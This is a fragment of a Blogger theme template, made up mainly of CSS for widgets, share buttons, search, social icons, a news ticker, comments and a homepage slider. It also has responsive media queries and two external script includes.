}
.tab-widget-menu li {
background: #333;
bottom: -2px;
color: #FFF;
cursor: pointer;
float: left;
height: 38px;
line-height: 38px;
margin: -2px 0px 0 0px;
padding: 0;
position: relative;
text-align: center;
width: 33.3%;
z-index: 2;
}
.tab-widget-menu li.selected {
background: $(maincolor);
border-width: 1px 1px 3px;
color: #FFF;
margin-top: -2px;
}
#sidebartab .h2title, #sidebartab h2 {
display: none;
}
#sidebartab .h2titlesmall, #sidebartab h2 {
display: none;
}
#sidebartab .widget-content img {
padding: 2px;
border: 1px solid lightGrey;
width: 100px;
height: 100px;
}
#sidebartab .popular-posts li {
background: none repeat scroll 0 0 transparent;
border-bottom: 1px solid #E9E9E9;
overflow: hidden;
padding: 10px 0;
}
.PopularPosts img:hover, #sidebartab .widget-content img:hover {
-khtml-opacity: 0.4;
-moz-opacity: 0.4;
opacity: 0.4;
}
#sidebarlab .sidebar li a:hover {
color: #fff;
background: #222;
}
.PopularPosts a {font-weight:bold;}


.showpageArea a {
clear:both;
margin:-5px 0 10px;
text-align:center;
font-size:11px;
font-weight:bold;
text-transform:uppercase;
}
.showpageNum a {
padding:6px 10px;
margin-right:3px;
display:inline-block;
color:#333333;
background-color:#ffffff;
border: 1px solid #dddddd;
}
.showpageNum a:hover {
border: 1px solid #aaaaaa;
}
.showpagePoint {
padding:6px 10px;
margin-right:3px;
display:inline-block;
color:#333333;
background-color:#ffffff;
border: 1px solid #aaaaaa;
}
.showpageOf {
display:none;
}
.showpage a {
padding:6px 10px;
margin-right:3px;
display:inline-block;
color:#333333;
background-color:#ffffff;
border: 1px solid #dddddd;
}
.showpage a:hover {
border: 1px solid #aaaaaa;
}
.showpageNum a:link,.showpage a:link {
text-decoration:none;
color:#666;
}
.button {
text-align: center;
width: 100%;
margin: 10px 0;
padding: 0;
font-size: 14px;
font-family: 'Tahoma', Geneva, Sans-serif;
color: #fff;
margin-left: 0em !important;
}
.button ul {
margin: 0;
padding: 0;
}
.button li {
display: inline-block;
margin: 10px 0;
padding: 0;
}

#Attribution1 {
height:0px;
visibility:hidden;
display:none
}
.author-avatar img{border:1px solid #ccc;padding:4px;background:#fff;float:left;margin:0 10px 5px 0;border:50%;box-shadow:0 0 3px 0 #b5b5b5;-moz-box-shadow:0 0 3px 0 #b5b5b5;-webkit-box-shadow:0 0 3px 0 #b5b5b5}
#author-box h3 {
padding-bottom: 5px;
border-bottom: 4px solid #333;
font-size: 18px;
color:#222;
font-family: Oswald,arial,Georgia,serif;
}
.share-post {
font-size: 13px;
margin-top: 15px;
}
.share-post li {
float: left;
}
.share-post a {
display: block;
margin-right: 10px;
text-indent: -9999px;
margin-left: 12px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Y20UNXGEoxkq4Vuj-06w5tKv7gMY5udCGslM-VYlOq42OtypI-DKQxYrfQx4V4yq7DWFSWowJmsWGpM98wLmFP2zHM6kUvPJsnRf2PwmD4eiOexnXo4Mjn_g_utHPzQXJkWfzS-_5Dg/s1600/single-share.png) no-repeat;
-webkit-transition: opacity .2s;
-moz-transition: opacity .2s;
-o-transition: opacity .2s;
transition: opacity .2s;
}
.share-post a:hover {
opacity: .7;
}
.share-post
.facebook a {
width: 7px;
}
.share-post
.twitter a {
width: 18px;
background-position: -47px 0;
}
.share-post
.google a {
width: 14px;
background-position: -105px 0;
}
.share-post
.pinterest a {
width: 11px;
background-position: -159px 1px;
}
/*** Share Post Styling ***/
#share-post {
width: 100%;
overflow: hidden;
margin-top: 20px;
}
#share-post a {
display: block;
height: 32px;
line-height: 32px;
color: #fff;
float: left;
padding-right: 10px;
margin-right: 10px;
margin-bottom: 25px;
}
#share-post
.facebook {
background-color: #436FC9;
}
#share-post
.twitter {
background-color: #40BEF4;
}
#share-post
.google {
background-color: #EC5F4A;
}
#share-post
span {
display: block;
width: 32px;
height: 32px;
float: left;
margin-right: 10px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Y20UNXGEoxkq4Vuj-06w5tKv7gMY5udCGslM-VYlOq42OtypI-DKQxYrfQx4V4yq7DWFSWowJmsWGpM98wLmFP2zHM6kUvPJsnRf2PwmD4eiOexnXo4Mjn_g_utHPzQXJkWfzS-_5Dg/s1600/single-share.png) no-repeat;
}
#share-post
.facebook span {
background-color: #3967C6;
}
#share-post
.twitter span {
background-color: #26B5F2;
background-position: -72px 0;
}
#share-post
.google span {
background-color: #E94D36;
background-position: -144px 0;
}
/* Search Box
----------------------------------------------- */
#searchformfix
{
float:right;
overflow:hidden;
position:relative;
margin-right: 20px;
  margin-top: 6px;
}
#searchform
{
margin:7px 0 0;
padding:0;
}
#searchform fieldset
{
padding:0;
border:none;
margin:0;
}
#searchform input[type="text"]{
background:#fff; border:none;
float:left; padding:0px 10px 0px 15px;
margin:0px; width:150px; height:34px;
line-height:34px;
transition:all 600ms cubic-bezier(0.215,0.61,0.355,1) 0s;
-moz-transition:all 300ms cubic-bezier(0.215,0.61,0.355,1) 0s;
-webkit-transition:all 600ms cubic-bezier(0.215,0.61,0.355,1) 0s;
-o-transition:all 600ms cubic-bezier(0.215,0.61,0.355,1) 0s; color:#585858}
#searchform input[type=text]:hover,#searchform input[type=text]:focus
{
width:200px;
}
#searchform input[type=submit]
{
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzeavqpit7wAtJ01j19wIpwXdTsV32GApuVzudJyxquXolYTUdmS5FHKbwylWdFWnsss-_Xw_9V3LZ2xTWPSDaRPOA31NqtPDLajCT8HiICerMDcoJeX_1q97BbVNyMu5VR5O3KfL6GHo/s1600/icon-search.png) center 9px no-repeat;
cursor:pointer;
margin:0;
padding:0;
width:37px;
height:34px;
line-height:34px;
  background-color: #FF6F69;
  border: none;
}
input[type=submit]
{
padding:4px 17px;
color:#ffffcolor:#585858;
text-transform:uppercase;
border:none;
font-size:20px;
background:url(gradient.png) bottom repeat-x;
cursor:pointer;
margin-top:10px;
float:left;
overflow:visible;
transition:all .3s linear;
-moz-transition:all .3s linear;
-o-transition:all .3s linear;
-webkit-transition:all .3s linear;
}
#searchform input[type=submit]:hover
{
background-color:#333;
}
.selectnav {
display:none;
}
/*---Flicker Image Gallery-----*/
.flickr_plugin {
width: 100%;
}
.flickr_badge_image {
float: left;
height: 75px;
margin: 8px 5px 0px 5px;
width: 75px;
}
.flickr_badge_image a {
display: block;
}
.flickr_badge_image a img {
display: block;
width: 100%;
height: auto;
-webkit-transition: opacity 100ms linear;
-moz-transition: opacity 100ms linear;
-ms-transition: opacity 100ms linear;
-o-transition: opacity 100ms linear;
transition: opacity 100ms linear;
}
.flickr_badge_image a img:hover {
opacity: .5;
}
div#act {
display: none;
}


#sidebar-narrow .list-label-widget-content li:before {
    content: "\f013";
    font-family: fontawesome;
    margin-right: 5px;
}
#sidebar-narrow .list-label-widget-content li {
    display: block;
    padding: 0 0 8px 0;
    position: relative;
}
#sidebar-narrow .list-label-widget-content li a {
    color: #555555;
    font-size: 13px;
    font-weight: normal;
}
#sidebar-narrow .list-label-widget-content li a:first-child {
    text-transform: capitalize;
}
#sidebar-narrow .list-label-widget-content li a:hover {
    text-decoration: underline;
}
#sidebar-narrow .list-label-widget-content li span:last-child {
    color: #949494;
    font-size: 12px;
    font-weight: bold;
    position: absolute;
    right: 0;
    top: 0;
}
#sidebar-narrow .list-label-widget-content li:hover span:last-child {
    text-decoration: underline;
}


/***** Social link*****/

ul.socialbar li,ul.socialbar li{
float: left;
margin-right: 0px;
margin-bottom:0px;
padding: 0px;
    display:block;
width: auto;

}
ul.socialbar li a, ul.socialbar li a, a.soc-follow {
display: block;
float: left;
margin: 0;
padding: 0;
width: 40px;
height: 43px;
margin-bottom:2px;
text-indent: -9999px;
-webkit-transition: all 0.3s ease 0s;
     -moz-transition: all 0.3s ease 0s;
      -ms-transition: all 0.3s ease 0s;
       -o-transition: all 0.3s ease 0s;
          transition: all 0.3s ease 0s;
}

a.soc-follow.dribbble {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTJgo-ucpdICWGfxrsC5lHRfdCjmxkzUdQr81fLmORl-SiMFYkSuew9SP_2OJMLuWp2bbXhWbsZomdaLsGaRM-6QB79IXG1MGsmW6P3Y078a1N-7_Hq0raM6VVzqgaMRNvw7srdo1gA8c/s1600/dribbble.png) no-repeat 0 0;
}
a.soc-follow.dribbble:hover {
background-color: #ef5b92;
}

a.soc-follow.facebook {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqX4mBx4GlQjYMDuyBgHbkRWp25Z07jcgprue3jK4EmKSCoCcGbraGQMKltUdSUVcyFx9jNTzPppJAlXBB-9CcOKDITPyceA_FfKlHWVP9SWyE1bp5Oc7bql0ohErEnJAXRfHKmXk8ntU/s1600/facebook.png) no-repeat 0 0;
}
a.soc-follow.facebook:hover{
background-color: #3b5998;
}
a.soc-follow.flickrs {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP8vHsd8Jah-_5lCEm2s9Y793pV72WIWwQxYQaQ5GRGKE10u2b9SonxJRXXiy_wSc1FGelojYz_8jMeH_meN8itMkL6zMUvL-7IyMRp7M47ZjxpWoEiHpjhUEvBEoqOVGYAM-4dmmS22Y/s1600/flickr.png) no-repeat 0 0;
}
a.soc-follow.flickrs:hover {
background-color: #f1628b;
}

a.soc-follow.googleplus {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPwZ95x__X9MbNjvdZzYgRPnZUEa_vfRa9QqnlRrKQ88xN76zSh9fSZ0Zb0L_Mds28kzaAj8lv3ZrHsoDpnhhRZieOIzLdPLVgL8pkXyFO8QbIc5BTM6zYR98Hq5PwraVkabbiL7CuidQ/s1600/googleplus.png) no-repeat 0 0;
}
a.soc-follow.googleplus:hover {
background-color: #d94a39;
}


a.soc-follow.linkedin {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmyouB_h2kOWyXqhHxWhXp9zACZuIq8m-41ohFR4XRCfgz81oeZifex74l0LluXRSxWIrkf0zuBvfC3PGj6U9cKryjzvLKxph-apk8WEZDc6Y4p1nBba602pA_kGa9_ImQCuqdt6QDS38/s1600/linkedin.png) no-repeat 0 0;
}
a.soc-follow.linkedin:hover {
background-color: #71b2d0;
}


a.soc-follow.twitter {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhylG7GVw5NQylerryKNX7Rfb0CD-EO5sXxGWoExecF3m0t0GlgZdgcmyQuiC57fq0xmy0Uqm6rKp_osfc3CR9OvlVFOPEed5D4kd-Kpf0tNqQF4KnJh5832DZI54CIGtc9fTvlY_Id4-A/s1600/twitter.png) no-repeat 0 0;
}
a.soc-follow.twitter:hover {
background-color: #48c4d2;
}
a.soc-follow.vimeo {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBwhwNJb68FK4Jq8C1CHf8XrwsIvBZ3iF7795WV_Pq4CkLfKYLKN0KGV1-oL1Oe_MuoBffS_JKkKBFZlvzJEup1F36QS6k7FXJU1srawqCR91BWKV3WS0_gbw0Rm0Cg3-w9edo5GOBHUk/s1600/vimeo.png) no-repeat 0 0;
}
a.soc-follow.vimeo:hover {
background-color: #62a0ad;
}

ul.socicon-2 li a:hover, ul.socicon li a:hover, a.soc-follow:hover {
background-position: 0 -40px;
}
#nav.fixed-nav{
  position: fixed;
  top: 0;
  left: 0;
  width: 100% !important;
  z-index: 999;
  /* -webkit-box-shadow: 0 5px 3px rgba(0, 0, 0, .1); */
  -moz-box-shadow: 0 5px 3px rgba(0, 0, 0, .1);
  /* box-shadow: 0 5px 3px rgba(0, 0, 0, .1); */
  padding: 0;
  border-top: none;
  margin: 0;
}
div.conty {
width: 1140px;
margin: 0 auto;
}


@font-face {
  font-family: OpenSansRegular;
  src: url('http://www.themecap.com/caps/wp-content/themes/caps/fonts/OpenSans-Regular.ttf');
}


#beakingnews {

float: left;
height: 42px;
line-height:  42px;
overflow: hidden;
width: 60.2%;
}
#recentpostbreaking li a {
color:#949494;
font-family: sans-serif;
font-weight: bold;
}

#recentpostbreaking li a:hover {
color:$(maincolor);
}

 #beakingnews .tulisbreaking {
background:#FF6F69;
}

 #beakingnews .tulisbreaking{
color:$(mainbgfontcol.background.color) !important;
}


span.tulisbreaking:after{
content: close-quote;
position: absolute;
width: 0px;
top: 15px;
right: -12px;
border-bottom: 6px solid rgba(0, 0, 0, 0);
border-left: 6px solid #FF6F69;
border-top: 6px solid rgba(0, 0, 0, 0);
border-right: 6px solid rgba(0, 0, 0, 0);
}

#beakingnews .tulisbreaking {
color: #FFFFFF;
display: block;
float: left;
font-family: sans-serif;
font-weight: bold;
padding: 0 10px;
position: absolute;
border-bottom: 1px solid #FF6F69;
}

#recentpostbreaking {
    float: left;
    margin-left: 145px;
}
#recentpostbreaking ul,#recentpostbreaking li{list-style:none;margin:0;padding:0}


.tagcloud a {
background: #e4e4e4;
color: #888;
display: block;
float: left;
font-size: 14px!important;
line-height: 12px;
margin: 0 2px 2px 0;
padding: 12px 17px;
}

.tagcloud a:link {
color: #888;
}
.tagcloud a:hover {
background: $(maincolor);
color: #fff;
}
.tagcloud1 a {
  background: #FF6F69;
  color: #FFF!important;
  display: block;
  float: left;
  font-size: 14px!important;
  line-height: 12px;
  margin: 0 2px 2px 0;
  padding: 12px 17px;
}
.tagcloud1 a:link {
color: #888;
}
.tagcloud1 a:hover {
background: #666;
color: #fff;
}



*/]]></b:skin>


<script src='https://sites.google.com/site/jqueryfontsisee/jquery/blogger.js'/>
<script src='https://sites.google.com/site/posttitele/blogger/bloer.js'/>
<b:if cond='data:blog.url == data:blog.homepageUrl'>
<style type='text/css'>
</style>
    </b:if>

 <b:if cond='data:blog.pageType == &quot;item&quot;'>
      <style type='text/css'>
        h2.post-title a, h1.post-title a, h2.post-title, h1.post-title {
          color:#383838;
          font-size:26px;
        }

.top-comment-widget-menu {
float: left;
margin: -15px 0 15px;
padding: 0;
width: 100%;
height: 40px;
background: #444444 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7GCQlk2k-cggjRdOXh7fFbyYcXcSicVrVQw09QwMX39VNozBDC-SqMRu_7O-JZVyQ4uSg5Eezla2uuAKmoF_nYjjvOyKlYp3H7najv57lZSLjgI0rNCA1liuz3vML9Y2BcfOGf3V6mMM/s1600/menu-bg2.png) repeat;
 
}

.top-comment {
   float: left;
font-size: 14px;
list-style: none outside none;
text-transform: uppercase;
width: 43%;
margin: 1px;
padding: 10px 20px !important;
font-weight: normal;
color: #fff;
cursor: pointer;
}

#relpost_img_sum .news-text {
    display: none;
}

.top-comment.selected {
   cursor: pointer;
padding: 11px 20px !important;
margin: 0px 0 0 -16px;
color: #FFF;
background: $(maincolor);
 
-webkit-transition: all .2s ease-in-out;
    -moz-transition: all .2s ease-in-out;
    -o-transition: all .2s ease-in-out;
    -ms-transition: all .2s ease-in-out;
    transition: all .2s ease-in-out;
}

.top-comment.blogico:before {
    content: &quot;\f0d5&quot;;
    font-family: fontawesome;
    margin-right: 15px;
}

.top-comment.faceico:before {
    content: &quot;\f09a&quot;;
    font-family: fontawesome;
    margin-right: 15px;
}

      </style>
    </b:if>
    <style>
      @media only screen and (max-width:768px){
        #selectnav1 {
          background: none repeat scroll 0 0 #333;
          border: 1px solid #232323;
          color: #FFF;
          width: 418px;
          margin: 8px 0px;
          float: left;
        }
        .selectnav {
          display:block;
          width:50%;
          margin:0;
          padding:7px;
        }
      }
      @media only screen and (max-width:768px){

        #selectnav1 {
          width: 405px;
        }
      }
      @media only screen and (max-width:480px){
        #selectnav1 {
          width:254px;
        }
      }
      @media only screen and (max-width:320px){
        #selectnav1 {
          width:280px;
        }
      }


 @media only screen and (max-width:1166px){

      .containz{width:975px}

      }
      /* MEDIA QUERY */
      @media only screen and (max-width:1066px){
        #outer-wrapper {
          margin:0 auto;
        }
        #post-wrapper {
          width: 670px;
          max-width: 670px;
        }
                div#mywrapper {
          float: left;
          width: 670px;
        }

#related-posts .related_img {
padding: 0px;
width: 210px;
height: 150px;
}

#sidebar-wrapper {
max-width: 297px;
}
        ul.xpose_thumbs1{width:60%}
        ul.xpose_thumbs22{width:38%}

        div.conty,#nav{width: 968px;}
      }
      @media only screen and (max-width:1024px){
        #menu-main {
          display: none;
        }
   #my-slider {
      margin-left: 15px;
        }
#nav{width: 715px;margin:0 27px}

        div#main {
          width: auto;
        }
    .containz, #post-wrapper {
          width: 730px;
          max-width: 730px;
        }
        #sidebar-wrapper{
          width:100%;
          max-width:100%;
        }
#menu-main {
          display: none;
        }
        #searchformfix{display:none;}

      }
      @media only screen and (max-width:768px){
        #outer-wrapper {
          padding:0 12px;
        }
        #menu-main {
          display: none;
        }
#my-slider {
margin-left: -6px;
}

#searchformfix {

display: none;
}
        #nav {margin:0 10px}
 #nav {
width: 443px;
}
.containz,div.conty {
width: 401px;
}

 ul.xpose_thumbs1{width:100%}
        ul.xpose_thumbs22{width:100%}

   ul.xpose_thumbs22 span.xpose_meta{line-height:51px}

               div#mywrapper {
          float: center;
          width: auto;
        }
        #post-wrapper, #sidebar-wrapper {
          float:none;
          width:100%;
          max-width:100%
        }
        .active {
          display: block;
        }
        .post-body img {
          max-width:90%;
        }
        .img-thumbnail {
          margin:0 10px 0 0;
        }
        .stylebox .widget {
          padding:0 0 10px 0;
        }
        #stylebox-1 .widget, #stylebox-3 .widget, #stylebox-5 .widget {
          padding:0 5px 10px 0;
        }
        #stylebox-2 .widget, #stylebox-4 .widget, #stylebox-6 .widget {
          padding:0 0 10px 5px;
        }
        .sidebar-container, .post-container {
          padding:15px 0 0px;
        }
.top-comment{width:41%}
      }
      @media only screen and (max-width:640px){
        #outer-wrapper {
          padding:0 10px;
        }
        #menu-main {
          display: none;
        }
        .top-comment{width:41%}
        #content-wrapper{padding:0 10px}
        #sidebar-narrow{display:none}
        div#mywrapper {
          float: center;
          width: auto;
        }
        #post-wrapper, #sidebar-wrapper, #bottombar .left, #bottombar .center, #bottombar .right {
          float:none;
          width:100%;
          max-width:100%
        }
        .header, .header-right {
          margin:10px 0;
        }
        .sidebar-container, .post-container{
          padding:10px 0 0px;
        }
        .largebanner .widget, #bottombar {
          padding:10px;
        }
        .post, .breadcrumbs {
          margin:0 0 10px;
          padding:10px;
        }
        .pagenavi {
          margin: 6px 0 10px;
        }
        .stylebox .widget-content {
          padding:10px;
        }
        #bottombar .left .widget, #bottombar .center .widget, #bottombar .right .widget, .sidebar .widget {
          margin:0 0 10px 0;
        }
.top-comment{width:41%}
      }
      @media only screen and (max-width:480px){
        #outer-wrapper {
          padding:0 8px;
        }
.containz, #nav {
width: 287px;
}
div.conty {
width: 256px;
}
#searchformfix {

display: none;
}
.top-comment{width:37%}

        .top-comment-widget-menu{height:58px}
        ul.xpose_thumbs1,ul.xpose_thumbs22{width:100%}
        #menu-main {
          display: none;
        }
        #sidebar-narrow{display:none}
        div#mywrapper {
          float: center;
          width: auto;
        }
        .header, .header-right, .stylebox,.stylebox1  {
          float:none;
          width:100%;
          max-width:100%
        }
        .header img {
          margin: 20px auto 0;
        }
        .largebanner .widget, #bottombar {
          padding:8px;
        }
        .post, .breadcrumbs {
          margin:0 0 8px;
          padding:8px;
        }
        .stylebox .widget-content,.stylebox1  .widget-content {
          padding:8px;
        }
        h2.post-title, h1.post-title {
          font-size:16px;
        }
        .img-thumbnail, .img-thumbnail img {
          width:120px;
          height:90px;
        }
        .img-thumbnail {
          margin:0 8px 0 0;
        }
        #stylebox-1 .widget, #stylebox-3 .widget, #stylebox-2 .widget, #stylebox-4 .widget, #stylebox-5 .widget, #stylebox-6 .widget {
          padding:0 0 8px 0;
        }
        .comments .comment-block, .comments .comments-content .inline-thread {
          padding:10px !important;
        }
        .comment .comment-thread.inline-thread .comment {
          margin: 0 0 0 0 !important;
        }
        .footer-left, .footer-right {
          float:none;
          text-align:center;
        }
      }
      @media screen and (max-width:320px){
        #outer-wrapper {
          padding:0 6px;
        }
        #menu-main {
          display: none;
        }
        #sidebar-narrow{display:none}
        div#mywrapper {
          float: center;
          width: auto;
        }
        .post, .breadcrumbs {
          padding:6px;
        }
        .stylebox .widget-content,.stylebox1  .widget-content {
          padding:6px;
        }
        .img-thumbnail, .img-thumbnail img {
          width:100px;
          height:80px;
        }
      }
    </style>
 
    <b:if cond='data:blog.pageType != &quot;index&quot;'>
      <style type='text/css'>
        /* COMMENT */



        .comment-form {
          overflow:hidden;
        }
        .comments h3 {
          line-height:normal;
          text-transform:uppercase;
          color:#333;
          font-weight:bold;
          margin:0 0 20px 0;
          font-size:14px;
          padding:0 0 0 0;
        }
        h4#comment-post-message {
          display:none;
          margin:0 0 0 0;
        }
        .comments{
          clear:both;
          margin-top:10px;
          margin-bottom:0
        }
        .comments .comments-content{
          font-size:13px;
          margin-bottom:8px
        }
        .comments .comments-content .comment-thread ol{
          text-align:left;
          margin:13px 0;
          padding:0
        }
        .comments .avatar-image-container {
          background:#fff;
          border:1px solid #DDD;
          overflow:hidden;
          padding:6px;
        }
        .comments .comment-block{
          position:relative;
          background:#fff;
          padding:15px;
          margin-left:60px;
          border-left:3px solid #ddd;
          border-top:1px solid #DDD;
          border-right:1px solid #DDD;
          border-bottom:1px solid #DDD;
        }
        .comments .comment-block:before {
          content:&quot;&quot;;
          width:0px;
          height:0px;
          position:absolute;
          right:100%;
          top:14px;
          border-width:10px;
          border-style:solid;
          border-color:transparent #DDD transparent transparent;
          display:block;
        }
        .comments .comments-content .comment-replies{
          margin:8px 0;
          margin-left:60px
        }
        .comments .comments-content .comment-thread:empty{
          display:none
        }
        .comments .comment-replybox-single {
          background:#f0f0f0;
          padding:0;
          margin:8px 0;
          margin-left:60px
        }
        .comments .comment-replybox-thread {
          background:#f0f0f0;
          margin:8px 0 0 0;
          padding:0;
        }
        .comments .comments-content .comment{
          margin-bottom:6px;
          padding:0
        }
        .comments .comments-content .comment:first-child {
          padding:0;
          margin:0
        }
        .comments .comments-content .comment:last-child {
          padding:0;
          margin:0
        }
        .comments .comment-thread.inline-thread .comment, .comments .comment-thread.inline-thread .comment:last-child {
          margin:0px 0px 5px 30%
        }
        .comment .comment-thread.inline-thread .comment:nth-child(6) {
          margin:0px 0px 5px 25%;
        }
        .comment .comment-thread.inline-thread .comment:nth-child(5) {
          margin:0px 0px 5px 20%;
        }
        .comment .comment-thread.inline-thread .comment:nth-child(4) {
          margin:0px 0px 5px 15%;
        }
        .comment .comment-thread.inline-thread .comment:nth-child(3) {
          margin:0px 0px 5px 10%;
        }
        .comment .comment-thread.inline-thread .comment:nth-child(2) {
          margin:0px 0px 5px 5%;
        }
        .comment .comment-thread.inline-thread .comment:nth-child(1) {
          margin:0px 0px 5px 0;
        }
        .comments .comments-content .comment-thread{
          margin:0;
          padding:0
        }
        .comments .comments-content .inline-thread{
          background:#fff;
          border:1px solid #DDD;
          padding:15px;
          margin:0
        }
        .comments .comments-content .icon.blog-author {
          display:inline;
        }
        .comments .comments-content .icon.blog-author:after {
          content: &quot;Admin&quot;;
background: $(maincolor);
color: #fff;
font-size: 11px;
padding: 2px 5px;
        }
        .comment-header {
          text-transform:uppercase;
          font-size:12px;
        }
        .comments .comments-content .datetime {
          margin-left: 6px;
        }
        .comments .comments-content .datetime a {
          color:#888;
        }
        .comments .comment .comment-actions a {
          display:inline-block;
          color:#333;
          font-weight:bold;
          font-size:10px;
          line-height:15px;
          margin:4px 8px 0 0;
        }
        .comments .continue a {
          color:#333;
          display:inline-block;
          font-size:10px;
        }
        .comments .comment .comment-actions a:hover, .comments .continue a:hover{
          text-decoration:underline;
        }
        .pesan-komentar {
                  }
        .pesan-komentar p {
          line-height:normal;
          margin:0 0;
        }
        .pesan-komentar:before {
       
        }
        .fb-comments{width: 100% !important;}
        .fb-comments iframe[style]{width: 100% !important;}
        .fb-like-box{width: 100% !important;}
        .fb-like-box iframe[style]{width: 100% !important;}
        .fb-comments span{width: 100% !important;}
        .fb-comments iframe span[style]{width: 100% !important;}
        .fb-like-box span{width: 100% !important;}
        .fb-like-box iframe span[style]{width: 100% !important;}
        .fotleft{float:left}
        .fotright{float:right;text-align:right;}
      </style>
    </b:if>


<b:if cond='data:blog.url == data:blog.homepageUrl'>
<style>





#slider-section .slider .post-info1 {
position:absolute;
bottom:0;
left:0;
color:#FFF;
width:100%;
-webkit-transition:all .2s ease-in-out;
-moz-transition:all .2s ease-in-out;
-o-transition:all .2s ease-in-out;
-ms-transition:all .2s ease-in-out;
transition:all .2s ease-in-out;
-webkit-backface-visibility:hidden;
-moz-backface-visibility:hidden;
backface-visibility:hidden;
}

#slider-section li {
margin-right:10px;
background:#000;
}

#slider-section .slider .post-info1 .inner {
overflow:hidden;
padding:15px;
}

#mycontent a:hover {
  color: #000000;
}

#slider-section .entry-cat h6 {
text-transform:uppercase;
display:inline-block;
border-bottom:4px solid #FFF;
padding-bottom:3px;
}

#slider-section .post-info1 h2 {
text-transform:uppercase;
font-weight:700;
line-height:1;
font-size:26px;
}

#slider-section li:hover .post-info1 {
background:rgba(0,0,0,.85);
}

div.entry-cat {
margin-bottom:10px;
}

#slider-section .slider .slider-nav a {
display:block;
width:28px;
height:28px;
overflow:hidden;
text-indent:-999em;
transition:all .3s ease 0;
position:absolute;
z-index:1;
background-color:#EE7876;
opacity:.9;
}

#slider-section .slider .slider-nav .flex-prev {
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZCgXUN_aoVFfgO3NArUR2sYke0tY5ZN18q_5A_MFPwzMXFo0GpOVB8710fiSTjKtqcsNqY5J_ijRxvQT4kjIBm_5de740Q-cnIIFfci8ngYsoDnA_ortDPwYc43Lzdoq3hM_QxKV63fw/s320/arrow-left-large.png) no-repeat center;
top:230px;
left:-50px;
}

#slider-section .slider .slider-nav .flex-next {
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7cw_2PweXe1KTy4TnrNfUYeVuwMBBVfe2CELio_q0Izp9u4PrB12Q5JAOTsTs_p2ZCLHIlrZzcDQxx1wzH84l28l7-NVMdhS_kFgfGUmkyHtBjl67d3yi2Fjn20rG0tJzzSBM5gNs79Y/s320/arrow-right-large.png) no-repeat center;
top:230px;
right:-50px;
display:none;
}

#slider-section .slider .slider-nav a:hover {
opacity:1;
}

.thumb-container {
opacity:.85;
}

.flex-direction-nav li {
list-style:none;
margin:0;
padding:0;
}

.slides {
display:inline-block;
margin:0;
padding:0;
}

.slides li {
position:relative;
margin-right:15px;
overflow:hidden;
margin-bottom:0!important;
padding-bottom:0;
}

.slides li .post-info1 {
overflow:hidden;
margin-top:15px;
}

.slides li .post-info1 .title {
line-height:1.3;
font-size:13px;
}

.carousel-nav ul li {
float:left;
margin:-1px;
}

#feat-carousel .carousel-nav .flex-prev {
border-right:1px solid #222;
}

.carousel-nav .flex-prev {
background:#333 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh89Sp77cRCGSTbKiJnenv1ggmM35ycCOqWlj_QLFRFhWM-TaRoPwYuBvKxdGphz1-HLJxMyQrnh2IZ3rr6-m02WiWjBjwXPwPYkswE6OlFC0fy0B1QhoZXhQomWgdtnKQLq0mNJxKBeKQ/s320/arrow-small-left-inactive.png) no-repeat center;
}

.carousel-nav .flex-next {
background:#333 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhISn1wPgWGNSX7gKv9ucyyyyAY3TzimPI4pFZmHFtOXjByUeV2t5Pf_x-SNTLoEbKz9tbGTMkdJgJ8NLWuf8EMmLJNooldHaaQ2Pou08TiVPKWtJKHodWQ-yfSd7vTYDHsrqTbzMO0_4s/s1600/arrow-small-right-inactive.png) no-repeat center;
}

.carousel-nav a {
display:block;
width:34px;
height:34px;
overflow:hidden;
text-indent:-999em;
transition:all .3s ease 0;
z-index:1;
opacity:.9;
}

.flex-control-nav {
text-align:center;
overflow:hidden;
margin:0;
padding:0;
}

.flex-control-nav li a {
display:inline-block;
text-indent:-999em;
margin-right:5px;
width:12px;
height:12px;
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihTm2fO3TrP7i6QGv5-4LBK6bGz0L-BQg5Oqg6XJr1tspB3QItuuWjyFK2vkOsL02Dc9Ev410AXCzvSnjHHH9SnNUfbym7QzbVU_GLPF_qJxZFQE_Ld6j5PnO2ZXkmMPeLNZ44EC3b5uI/s320/bullet-dark.png) no-repeat left center;
cursor:pointer;
}

.flex-control-nav li a.flex-active,.flex-control-nav li a:hover {
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj67hlZbIxR5E4LoTcYrvMynIWfRgPQUBAumXakoqnnW4S7R7UZiT9LYPvzatpkQCUroJD6hWfKyzS9hj5Jx25UhIvtWEq-e0jsCiacbV_e_aj68KfPBpaSHtyTfJBqMkL5jc2XXUjy0gI/s320/bullet-active.png) no-repeat left center;
}





#slider-section li:hover .excerpt,.entry-ad img,a.rcnt-psts-thumb {
display:block;
}

.none,#slider-section .post-info1 .excerpt,.home-link,.showpageOf,.status-msg-wrap,.comments .thread-toggle,#PopularPosts1 ul&gt;li:nth-child(n+3),#related_posts&gt;ul&gt;li:nth-child(n+2) p.rcnt-summary,.info {
display:none;
}

 .slides li {
margin:0;
padding:0;
}

.flex-direction-nav {
margin:0;
padding:0;
}
.flex-control-nav li,.separator&gt;a {
display:inline-block;
}

#slider-section a {
color:#fff;
}

.item-post:last-child,#related_posts&gt;ul&gt;li:last-child {
border-bottom:0;
}

#slider-section,.entry-header {
margin-bottom:20px;
}

.carousel-section ol,.carousel-section ul,.footer ul {
list-style:none;
margin:0;
padding:0;
}

#feat-carousel .carousel-nav ul li {
margin:0;
}




   </style>
</b:if>






